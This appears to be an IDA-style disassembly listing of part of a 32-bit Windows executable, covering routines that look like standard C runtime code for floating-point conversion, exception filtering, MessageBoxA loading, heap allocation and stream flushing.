; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B03	proc near		; CODE XREF: sub_424B90+C0p
					; sub_424B90+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424B39:				; CODE XREF: sub_424B03+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424B39
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_424B6B:				; CODE XREF: sub_424B03+86j
		cmp	ebx, edi
		jl	short loc_424B7E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424B85
; ---------------------------------------------------------------------------


loc_424B7E:				; CODE XREF: sub_424B03+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424B85:				; CODE XREF: sub_424B03+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_424B6B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B90	proc near		; CODE XREF: sub_424CFC+Dp
					; sub_424D12+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_424BFD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_424AE8
		test	eax, eax
		pop	ecx
		jnz	loc_424CBC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx


loc_424BF5:				; CODE XREF: sub_424B90+E4j
		push	2


loc_424BF7:				; CODE XREF: sub_424B90+110j
		pop	eax
		jmp	loc_424CBE
; ---------------------------------------------------------------------------


loc_424BFD:				; CODE XREF: sub_424B90+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_424AC1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		add	esp, 10h
		test	eax, eax
		jz	short loc_424C1E
		inc	ebx


loc_424C1E:				; CODE XREF: sub_424B90+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424C36
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx
		jmp	short loc_424C72
; ---------------------------------------------------------------------------


loc_424C36:				; CODE XREF: sub_424B90+98j
		cmp	ebx, eax
		jg	short loc_424C79
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424AC1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_424B03
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		add	esp, 20h


loc_424C72:				; CODE XREF: sub_424B90+A4j
		xor	esi, esi
		jmp	loc_424BF5
; ---------------------------------------------------------------------------


loc_424C79:				; CODE XREF: sub_424B90+A8j
		cmp	ebx, [edi]
		jl	short loc_424CA5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_424BF7
; ---------------------------------------------------------------------------


loc_424CA5:				; CODE XREF: sub_424B90+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_424B03
		pop	ecx
		pop	ecx


loc_424CBC:				; CODE XREF: sub_424B90+55j
		xor	eax, eax


loc_424CBE:				; CODE XREF: sub_424B90+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_424CED
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_424CF7
; ---------------------------------------------------------------------------


loc_424CED:				; CODE XREF: sub_424B90+14Ej
		cmp	edi, 20h
		jnz	short loc_424CF7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_424CF7:				; CODE XREF: sub_424B90+15Bj
					; sub_424B90+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B90	endp


; =============== S U B	R O U T	I N E =======================================



sub_424CFC	proc near		; CODE XREF: sub_424D28+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D7F8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424CFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D12	proc near		; CODE XREF: sub_424D55+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D810
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424D12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D28	proc near		; CODE XREF: sub_42223B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424CFC
		add	esp, 24h
		leave
		retn
sub_424D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D55	proc near		; CODE XREF: sub_42223B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424D12
		add	esp, 24h
		leave
		retn
sub_424D55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D82	proc near		; CODE XREF: sub_422279+65p
					; sub_42237D+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_424DBF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424DA5:				; CODE XREF: sub_424D82+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_424DB1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_424DB4
; ---------------------------------------------------------------------------


loc_424DB1:				; CODE XREF: sub_424D82+27j
		push	30h
		pop	edx


loc_424DB4:				; CODE XREF: sub_424D82+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424DA5
		mov	edx, [ebp+arg_8]


loc_424DBF:				; CODE XREF: sub_424D82+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_424DD8
		cmp	byte ptr [ecx],	35h
		jl	short loc_424DD8


loc_424DCB:				; CODE XREF: sub_424D82+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_424DD6
		mov	byte ptr [eax],	30h
		jmp	short loc_424DCB
; ---------------------------------------------------------------------------


loc_424DD6:				; CODE XREF: sub_424D82+4Dj
		inc	byte ptr [eax]


loc_424DD8:				; CODE XREF: sub_424D82+42j
					; sub_424D82+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_424DE2
		inc	dword ptr [edx+4]
		jmp	short loc_424DF4
; ---------------------------------------------------------------------------


loc_424DE2:				; CODE XREF: sub_424D82+59j
		push	edi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D670
		add	esp, 10h


loc_424DF4:				; CODE XREF: sub_424D82+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424D82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DF9	proc near		; CODE XREF: sub_422279+3Fp
					; sub_42237D+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424E5D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBFB8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_425973
		mov	dword_4DBFE0, eax
		add	esp, 18h
		movsx	eax, byte_4DBFBA
		mov	dword_4DBFD8, eax
		pop	edi
		movsx	eax, word_4DBFB8
		mov	dword_4DBFDC, eax
		mov	dword_4DBFE4, offset dword_4DBFBC
		mov	eax, offset dword_4DBFD8
		pop	esi
		leave
		retn
sub_424DF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E5D	proc near		; CODE XREF: sub_424DF9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_424EAB
		cmp	ebx, edi
		jz	short loc_424EA4
		lea	edi, [ecx+3C00h]
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EA4:				; CODE XREF: sub_424E5D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E5D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424EC3
		cmp	edx, ebx
		jnz	short loc_424EC3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_424F0E
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E5D+52j
					; sub_424E5D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_424ECC:				; CODE XREF: sub_424E5D+45j
					; sub_424E5D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_424EE4:				; CODE XREF: sub_424E5D+A6j
		test	ecx, esi
		jnz	short loc_424F05
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_424EE4
; ---------------------------------------------------------------------------


loc_424F05:				; CODE XREF: sub_424E5D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_424F0E:				; CODE XREF: sub_424E5D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424E5D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41E2C9
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_424F1C	proc near		; DATA XREF: ___:0043D438o
					; ___:0043DB78o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_424F3F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_424F3F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_424F3F
		jmp	sub_422DFC
; ---------------------------------------------------------------------------


loc_424F3F:				; CODE XREF: sub_424F1C+Dj
					; sub_424F1C+13j ...
		mov	eax, dword_4DBFE8
		test	eax, eax
		jz	short loc_424F5C
		push	eax
		call	sub_424FB8
		test	eax, eax
		pop	ecx
		jz	short loc_424F5C
		push	esi
		call	dword_4DBFE8
		jmp	short loc_424F5E
; ---------------------------------------------------------------------------


loc_424F5C:				; CODE XREF: sub_424F1C+2Aj
					; sub_424F1C+35j
		xor	eax, eax


loc_424F5E:				; CODE XREF: sub_424F1C+3Ej
		pop	esi
		retn	4
sub_424F1C	endp

; ---------------------------------------------------------------------------
word_424F62	dw 1C68h		; DATA XREF: ___:00429024o
dword_424F64	dd 0E800424Fh, 21DBEDCh, 0BFE8A390h, 0FFC3004Dh, 4DBFE835h
					; DATA XREF: ___:0042903Co
		dd 0BECAE800h, 0C390021Dh

; =============== S U B	R O U T	I N E =======================================



sub_424F80	proc near		; CODE XREF: sub_422651+6Bp
					; sub_422B62+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2600A29h
		test	eax, eax
		jz	short loc_424F98
		xor	esi, esi


loc_424F98:				; CODE XREF: sub_424F80+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F9C	proc near		; CODE XREF: sub_422B62+73p
					; sub_422B62+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2680000h
		test	eax, eax
		jz	short loc_424FB4
		xor	esi, esi


loc_424FB4:				; CODE XREF: sub_424F9C+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FB8	proc near		; CODE XREF: sub_422B62+15Bp
					; sub_424F1C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 26009C1h
		nop
		test	eax, eax
		jz	short loc_424FCC
		xor	esi, esi


loc_424FCC:				; CODE XREF: sub_424FB8+10j
		mov	eax, esi
		pop	esi
		retn
sub_424FB8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422DFC


loc_424FD0:				; CODE XREF: sub_422DFC:loc_422E4Dj
		push	0Ah
		call	sub_423DD1
		push	16h
		call	sub_425C06
		pop	ecx
		pop	ecx
		push	3
		call	sub_41C1A2
; END OF FUNCTION CHUNK	FOR sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_424FE7	proc near		; CODE XREF: ___:004236A6p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424FF8
		add	esp, 0Ch
		retn
sub_424FE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FF8	proc near		; CODE XREF: sub_424FE7+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DD261[eax], cl
		jnz	short loc_425025
		cmp	[esp+arg_4], 0
		jz	short loc_42501E
		movzx	eax, word_43CE82[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_425020
; ---------------------------------------------------------------------------


loc_42501E:				; CODE XREF: sub_424FF8+16j
		xor	eax, eax


loc_425020:				; CODE XREF: sub_424FF8+24j
		test	eax, eax
		jnz	short loc_425025
		retn
; ---------------------------------------------------------------------------


loc_425025:				; CODE XREF: sub_424FF8+Fj
					; sub_424FF8+2Aj
		push	1
		pop	eax
		retn
sub_424FF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_425029	proc near		; CODE XREF: sub_423DD1+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBFEC, ebx
		push	esi
		push	edi
		jnz	short loc_425078
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26E0000h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4250AE
		mov	esi, dword_4270C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DBFEC, eax
		jz	short loc_4250AE
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DBFF0, eax
		call	esi
		mov	dword_4DBFF4, eax


loc_425078:				; CODE XREF: sub_425029+Bj
		mov	eax, dword_4DBFF0
		test	eax, eax
		jz	short loc_425097
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_425097
		mov	eax, dword_4DBFF4
		test	eax, eax
		jz	short loc_425097
		push	ebx
		call	eax
		mov	ebx, eax


loc_425097:				; CODE XREF: sub_425029+56j
					; sub_425029+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBFEC


loc_4250AA:				; CODE XREF: sub_425029+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4250AE:				; CODE XREF: sub_425029+1Cj
					; sub_425029+33j
		xor	eax, eax
		jmp	short loc_4250AA
sub_425029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4250B2	proc near		; CODE XREF: sub_42413E+22p
					; sub_42413E+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_4250D3
		test	esi, esi
		jnz	short loc_4250CD
		push	1
		pop	esi


loc_4250CD:				; CODE XREF: sub_4250B2+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_4250D3:				; CODE XREF: sub_4250B2+12j
					; sub_4250B2+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_425132
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	short loc_4250FE
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DD380
		ja	short loc_42511D
		push	eax
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_425148
		jmp	short loc_42511D
; ---------------------------------------------------------------------------


loc_4250FE:				; CODE XREF: sub_4250B2+30j
		cmp	eax, 2
		jnz	short loc_42511D
		cmp	esi, dword_43CE74
		ja	short loc_42511D
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42515C


loc_42511D:				; CODE XREF: sub_4250B2+3Bj
					; sub_4250B2+4Aj ...
		push	esi
		push	8
		push	dword_4DD384
		nop
		call	near ptr 2800000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_425156


loc_425132:				; CODE XREF: sub_4250B2+26j
		cmp	dword_4DBE48, 0
		jz	short loc_425156
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jz	short loc_42515F
		jmp	short loc_4250D3
; ---------------------------------------------------------------------------


loc_425148:				; CODE XREF: sub_4250B2+48j
		push	[ebp+arg_0]


loc_42514B:				; CODE XREF: sub_4250B2+ABj
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_425156:				; CODE XREF: sub_4250B2+7Ej
					; sub_4250B2+87j
		mov	eax, edi


loc_425158:				; CODE XREF: sub_4250B2+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42515C:				; CODE XREF: sub_4250B2+69j
		push	esi
		jmp	short loc_42514B
; ---------------------------------------------------------------------------


loc_42515F:				; CODE XREF: sub_4250B2+92j
		xor	eax, eax
		jmp	short loc_425158
sub_4250B2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241E3


loc_425163:				; CODE XREF: sub_4241E3+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DD020, esi
		jle	short loc_4251B6


loc_425172:				; CODE XREF: sub_4241E3+FD1j
		mov	eax, dword_4DC01C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4251AD
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_425191
		push	eax
		call	sub_41BA3B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_425191
		inc	edi


loc_425191:				; CODE XREF: sub_4241E3+F9Fj
					; sub_4241E3+FABj
		cmp	esi, 14h
		jl	short loc_4251AD
		mov	eax, dword_4DC01C
		push	dword ptr [eax+esi*4]
		call	sub_41BA91
		mov	eax, dword_4DC01C
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4251AD:				; CODE XREF: sub_4241E3+F99j
					; sub_4241E3+FB1j
		inc	esi
		cmp	esi, dword_4DD020
		jl	short loc_425172


loc_4251B6:				; CODE XREF: sub_4241E3+F8Dj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4241E3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251BB	proc near		; CODE XREF: sub_42423B+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DD140
		jnb	loc_4252F0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_4252F0
		push	1
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_4252FA
		push	2
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_4252FA
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_42529D
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41BF70


loc_425240:				; DATA XREF: ___:off_438CB8o
		push	8000h
		push	ebx
		call	sub_425D78
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_425251:				; CODE XREF: sub_4251BB+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_42525C
		mov	eax, edi


loc_42525C:				; CODE XREF: sub_4251BB+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42527A
		sub	edi, eax
		test	edi, edi
		jle	short loc_425290
		jmp	short loc_425251
; ---------------------------------------------------------------------------


loc_42527A:				; CODE XREF: sub_4251BB+B5j
		cmp	dword_4DBDE0, 5
		jnz	short loc_42528D
		mov	dword_4DBDDC, 0Dh


loc_42528D:				; CODE XREF: sub_4251BB+C6j
		or	esi, 0FFFFFFFFh


loc_425290:				; CODE XREF: sub_4251BB+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425D78
		pop	ecx
		pop	ecx
		jmp	short loc_4252DD
; ---------------------------------------------------------------------------


loc_42529D:				; CODE XREF: sub_4251BB+71j
		jge	short loc_4252DD
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_422F09
		push	ebx
		call	sub_4240AA
		add	esp, 10h
		push	eax
		call	near ptr 2600000h
		nop
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4252DD
		mov	dword_4DBDDC, 0Dh
		nop
		call	near ptr 26B0669h
		mov	dword_4DBDE0, eax


loc_4252DD:				; CODE XREF: sub_4251BB+E0j
					; sub_4251BB:loc_42529Dj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_4252FD
; ---------------------------------------------------------------------------


loc_4252F0:				; CODE XREF: sub_4251BB+1Aj
					; sub_4251BB+36j
		mov	dword_4DBDDC, 9


loc_4252FA:				; CODE XREF: sub_4251BB+4Ej
					; sub_4251BB+63j
		or	eax, 0FFFFFFFFh


loc_4252FD:				; CODE XREF: sub_4251BB+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4251BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_425301	proc near		; CODE XREF: sub_4249DF+2Bp
					; sub_4249DF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425317
		cmp	ecx, esi
		jnb	short loc_42531A


loc_425317:				; CODE XREF: sub_425301+10j
		push	1
		pop	eax


loc_42531A:				; CODE XREF: sub_425301+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425301	endp


; =============== S U B	R O U T	I N E =======================================



sub_425322	proc near		; CODE XREF: sub_4253DB+40p
					; sub_4253DB+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		inc	dword ptr [esi+8]


loc_425354:				; CODE XREF: sub_425322+19j
					; sub_425322+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42536C
		inc	dword ptr [esi+8]


loc_42536C:				; CODE XREF: sub_425322+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425322	endp


; =============== S U B	R O U T	I N E =======================================



sub_425380	proc near		; CODE XREF: sub_4253DB+30p
					; sub_4253DB+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
